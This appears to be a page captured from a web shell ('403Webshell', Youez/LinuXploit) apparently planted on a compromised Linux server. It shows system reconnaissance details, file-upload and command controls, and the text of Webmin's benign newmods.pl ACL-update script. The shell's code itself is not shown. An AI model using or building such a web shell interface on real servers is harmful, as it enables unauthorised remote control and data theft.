403Webshell
Server IP : 172.67.134.114  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/webmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/webmin/newmods.pl
# newmods.pl
# Updates an acl file to include new modules. Called with the parameters
# <config directory> <module>+

for($i=1; $i<@ARGV; $i++) {
	if (!(-d "$ARGV[0]/$ARGV[$i]")) {
		push(@new, $ARGV[$i]);
		}
	}

if (@new) {
	# Read in the existing file
	open(ACL, "<$ARGV[0]/webmin.acl");
	@acl = <ACL>;
	close(ACL);

	# Get the list of users to grant new modules to
	if (open(NEWMODS, "<$ARGV[0]/newmodules")) {
		while(<NEWMODS>) {
			s/\r|\n//g;
			$users{$_}++ if (/\S/);
			}
		close(NEWMODS);
		$newmods++;
		}

	if ($newmods) {
		# Find the users to add to
		for($i=0; $i<@acl; $i++) {
			if ($acl[$i] =~ /^(\S+):/ && $users{$1}) {
				push(@pos, $i);
				}
			}
		}
	else {
		# Just use 'root' or 'admin' or the first user in the file
		$pos[0] = 0;
		for($i=0; $i<@acl; $i++) {
			if ($acl[$i] =~ /^(\S+):/ &&
			    ($1 eq 'root' || $1 eq 'admin')) {
				$pos[0] = $i;
				last;
				}
			}
		}

	# Update it with new modules
	foreach $pos (@pos) {
		$acl[$pos] =~ /^(\S+):\s*(.*)$/ || next;
		$name = $1; @list = split(/\s+/, $2);
		foreach $o (@list) { $old{$o}++; }
		foreach $n (@new) {
			push(@list, $n) if (!$old{$n});
			}
		$acl[$pos] = "$name: ".join(" ",@list)."\n";
		}

	# Write it out
	open(ACL, ">$ARGV[0]/webmin.acl");
	print ACL @acl;
	close(ACL);
	}


Youez - 2016 - github.com/yon3zu
LinuXploit